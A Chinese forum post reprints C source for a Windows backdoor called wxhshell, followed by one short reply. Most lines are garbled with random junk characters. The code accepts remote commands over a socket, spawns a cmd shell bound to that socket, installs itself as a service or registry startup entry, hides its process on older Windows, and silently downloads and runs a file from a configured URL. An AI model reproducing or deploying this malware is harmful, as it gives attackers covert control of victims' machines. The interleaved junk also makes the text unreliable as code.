  send(wsh,msg_ws_err,strlen(msg_ws_err),0); se,Z#H  
  else 9} *$n&B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~3=2=Uf  
  } sv=H~wce  
  else { K^H>~`C=  
g rbTcLSF  
    switch(cmd[0]) { B>|5xpZM12  
  <]Y[XI(kr  
  // 帮助 z5EVG  
  case '?': { [hU=m S8=^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t!jwY/T  
    break; 3w'W~  
  } Jz$ >k$!UD  
  // 安装 Yu3_=: <C  
  case 'i': { i<iXHBs  
    if(Install()) <SQ(~xYi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [g|Hj)(  
    else v@_in(dk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h7?.2Q&S  
    break; H8i+'5x,?  
    } AZ wa4n}"  
  // 卸载 ZQ[~*)  
  case 'r': { Wc;+2Hl[@  
    if(Uninstall()) \!wh[qEQ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%};X$V`J  
    else EcW1;wH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b1=pO]3u  
    break; S=O$JP79  
    } Wz{%"o  
  // 显示 wxhshell 所在路径 !K\itOEP-  
  case 'p': { 8c).8RLf  
    char svExeFile[MAX_PATH]; mP!N<K  
    strcpy(svExeFile,"\n\r"); ) `I=oB  
      strcat(svExeFile,ExeFile); an KuTI  
        send(wsh,svExeFile,strlen(svExeFile),0); h5!d  
    break; Qa?aL  
    } uF<S  
  // 重启 k7T alR  
  case 'b': { ;*QN9T=0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k1iLnza%  
    if(Boot(REBOOT)) ('d{t:TsY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b42QBTeg  
    else { XRa#2 1pQ  
    closesocket(wsh); \7 Mq $d  
    ExitThread(0); ~:Ixmqi}R  
    } q^6N+^}QN  
    break; Wp4K6x  
    } STB-guia5  
  // 关机 i+AUQ0Zbf6  
  case 'd': { 6ZksqdP8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :#SNpn=@  
    if(Boot(SHUTDOWN)) A^g>fv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Omb.53+  
    else { ~ B]jV$=  
    closesocket(wsh); ~04[KG  
    ExitThread(0); )* 3bkKVB  
    } ,s? dAy5  
    break; K;C_Z/<%  
    } VN+\>j-  
  // 获取shell w, 7Cr  
  case 's': { 9K$]h2  
    CmdShell(wsh); 8^T2^gs  
    closesocket(wsh); UoRDeYQ`E  
    ExitThread(0); -<d(  
    break; Ky6+~>  
  } 6eo4#/+%  
  // 退出 H:Lt$  
  case 'x': { r=0j7^B#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m&cvU>lC  
    CloseIt(wsh); I-{^[pp  
    break; %^!aB  
    } H;wR  
  // 离开 >{F!ntEj  
  case 'q': { os_WYQ4>j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +"Ub/[J{G1  
    closesocket(wsh); +!xu{2!  
    WSACleanup(); V4\56 0  
    exit(1); xp=Zd\5W$  
    break; - 3]|[  
        } 9m~t j_  
  } mQ=sNZ-d]  
  } D O%Pwfkd  
, QA9k$`  
  // 提示信息 ifHU|0_=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sW'6} ^Q  
} -%=RFgU4  
  } N"~ qoJO  
b- uZ"Kf^  
  return; :ln/`_  
} @E(P9zQ/zy  
V" }*"P-%  
// shell模块句柄 6lZGcRO  
int CmdShell(SOCKET sock) WP!il(Gr  
{ F-tFet  
STARTUPINFO si; dm  2EH  
ZeroMemory(&si,sizeof(si)); 9.]kOs_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `fMpV8vv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _G[6+g5|  
PROCESS_INFORMATION ProcessInfo; sL8>GtVo  
char cmdline[]="cmd"; GVZTDrC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "?[7#d])  
  return 0; -U:2H7  
} `/c@nxh  
I3An57YV].  
// 自身启动模式 M#T#:wf~  
int StartFromService(void) >qn+iI2U  
{  RY9. n  
typedef struct Z:TFOnJ  
{ S[ ^nSF  
  DWORD ExitStatus; zQt1;bo  
  DWORD PebBaseAddress; u`+ 'lBE,  
  DWORD AffinityMask; v!KJ|c@m  
  DWORD BasePriority; }Q ;BQ2[  
  ULONG UniqueProcessId; G}q<{<+$  
  ULONG InheritedFromUniqueProcessId; `xGT_0&ck  
}   PROCESS_BASIC_INFORMATION; @Rf^P(  
tbS#^Y  
PROCNTQSIP NtQueryInformationProcess; nAvs~J  
Yu;9&b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @x*.5:[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EFD?di)s  
_ }^u-fJ/~  
  HANDLE             hProcess; 3jS7 uU  
  PROCESS_BASIC_INFORMATION pbi; &rcdr+'  
s4N,^_j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _trpXkQp  
  if(NULL == hInst ) return 0; "H@Fe  
Eny!R@u7q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z :? :  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k3#wLJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZLuPz#  
+2El  
  if (!NtQueryInformationProcess) return 0; yE<,Z%J[n  
oLd:3,p}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !9PX\Xbn  
  if(!hProcess) return 0; *iYMX[$  
~Z7)x7 z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?o8a_9+  
:Nkz,R?  
  CloseHandle(hProcess); &D^e<j}RQ  
8a?IC|~Pz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IE|, ~M2  
if(hProcess==NULL) return 0; fmBkB8  
>r~|1kQ.  
HMODULE hMod; y=wdR|b  
char procName[255]; E~}[+X@  
unsigned long cbNeeded; k5q(7&C  
]M uF9={  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K1<k+t/V  
JLml#Pu4  
  CloseHandle(hProcess); #U:0/4P(  
&D)Hz  
if(strstr(procName,"services")) return 1; // 以服务启动 DVbYShB  
^^7gDgT  
  return 0; // 注册表启动 yX`J7O{=  
} eXc[3ceUr  
5R)[Ou.  
// 主模块 RZ<.\N (M  
int StartWxhshell(LPSTR lpCmdLine) ~6] )*y  
{ $G)&J2zL  
  SOCKET wsl; 75<el.'H  
BOOL val=TRUE; s* @QT8%  
  int port=0; ?,!uA)({n  
  struct sockaddr_in door; 4_WH 6Z  
v [dAywW  
  if(wscfg.ws_autoins) Install(); Z`|>tbOfZ  
N=.}h\{0  
port=atoi(lpCmdLine); >}mNi:6xq  
dWMccn;-m  
if(port<=0) port=wscfg.ws_port; 3Nc'3NPQ'  
e5QOB/e&  
  WSADATA data; ]Kof sU_{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p1C_`f N,  
 z I(xSX@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5[1@`6j   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ixg\[5.Q+  
  door.sin_family = AF_INET; n<=y"*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cl ?< 7  
  door.sin_port = htons(port); =7#u+*Yr9  
W31LNysH!;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BEFe~* ~  
closesocket(wsl);  PE^eP}O1  
return 1; 9+W!k^VWq  
} RzMA\r;#  
Q=^ktKMeR  
  if(listen(wsl,2) == INVALID_SOCKET) { 9fCiLlI  
closesocket(wsl); ZBPd(;"x+  
return 1; LAj}kW~  
} Oib[\O7[z  
  Wxhshell(wsl); |{zHM23gD  
  WSACleanup(); 5aa}FdUq  
kx:c*3q.k  
return 0; S_a :ML<  
8moUK3w  
} ?0? x+  
8.:B=A  
// 以NT服务方式启动 Q S5dP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P)a("XnJ`  
{  <WO&$&  
DWORD   status = 0; ?a*fy}A|  
  DWORD   specificError = 0xfffffff; zw}@nqp   
%g!yccD9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9Ilfv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =PI^X\if88  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `\Uc4lRS  
  serviceStatus.dwWin32ExitCode     = 0; Iq^~  
  serviceStatus.dwServiceSpecificExitCode = 0; c(QG4.)m  
  serviceStatus.dwCheckPoint       = 0; ?ykVfO'  
  serviceStatus.dwWaitHint       = 0; 2,rY\Nu_  
f+Pg1Q0zI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZD$-V 3e`  
  if (hServiceStatusHandle==0) return; j0ci~6&b3_  
XYz,NpK  
status = GetLastError(); :;|)/  
  if (status!=NO_ERROR) 4he v ;  
{ Z&AHM &,yj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Np|:dP9#}  
    serviceStatus.dwCheckPoint       = 0; =>gyc;{2K<  
    serviceStatus.dwWaitHint       = 0; &*Q|d*CP  
    serviceStatus.dwWin32ExitCode     = status; rhlW  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8<wtf]x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z'7 c^c7_  
    return; W@R$' r,@O  
  } M!;`(_2  
QCZ,K" y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MzBfHt'Rk  
  serviceStatus.dwCheckPoint       = 0; s :-8 Z\,  
  serviceStatus.dwWaitHint       = 0; <B|n<R<?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K,`).YK  
} IKNFYe[9e  
Jnh;;<  
// 处理NT服务事件,比如:启动、停止 =;~%L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z ^gDbXS  
{ W}#QKZ)MB  
switch(fdwControl) G%V=idU*"  
{ EuR!yD  
case SERVICE_CONTROL_STOP: 1puEP *P  
  serviceStatus.dwWin32ExitCode = 0; -o=P85 V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #u}v7{4  
  serviceStatus.dwCheckPoint   = 0; .0 R/'!e  
  serviceStatus.dwWaitHint     = 0; YyQf  
  { BN<#x@m$]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V0SW 5 m  
  } =)"NE>  
  return; | TQedC  
case SERVICE_CONTROL_PAUSE: 3&drof\{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n?<# {$  
  break; .N2nJ/   
case SERVICE_CONTROL_CONTINUE: ZuF4N=;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ECmHy@(  
  break; $71D)*{P  
case SERVICE_CONTROL_INTERROGATE: bc0)'a\  
  break; *:fw6mnJ#  
}; oo$WD6eCR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ihpz}g  
} Z~-T0Ab-  
f)u*Q!BDD  
// 标准应用程序主函数 [9YlLL@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _D7HQ  
{ ^a:vJ)WB7  
e4>L@7  
// 获取操作系统版本 IGF37';;  
OsIsNt=GetOsVer(); xVh\GU855  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cn6n4, 0  
rw=UK`  
  // 从命令行安装 6N)< o ;U  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~vjr;a(B  
.yFg$|yG  
  // 下载执行文件 M2zos(8g  
if(wscfg.ws_downexe) { "c! oOaA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kMJQeo79  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3[|:sa8?s  
} ' q=NTP  
x3Dg%=R  
if(!OsIsNt) { }v'PY/d.  
// 如果时win9x,隐藏进程并且设置为注册表启动 a@S4IoBg%  
HideProc(); #(26t _a  
StartWxhshell(lpCmdLine); ?hry=I(7r  
} k^'d@1z;C  
else gN!E*@7  
  if(StartFromService()) +hyWo]nW0  
  // 以服务方式启动 @kCD.  
  StartServiceCtrlDispatcher(DispatchTable); f!uA$uL c  
else 0T{c:m~QXe  
  // 普通方式启动 {'=Nb 5F  
  StartWxhshell(lpCmdLine); pdcwq~4~%  
CL<KBmW7  
return 0; ,XBV}y  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五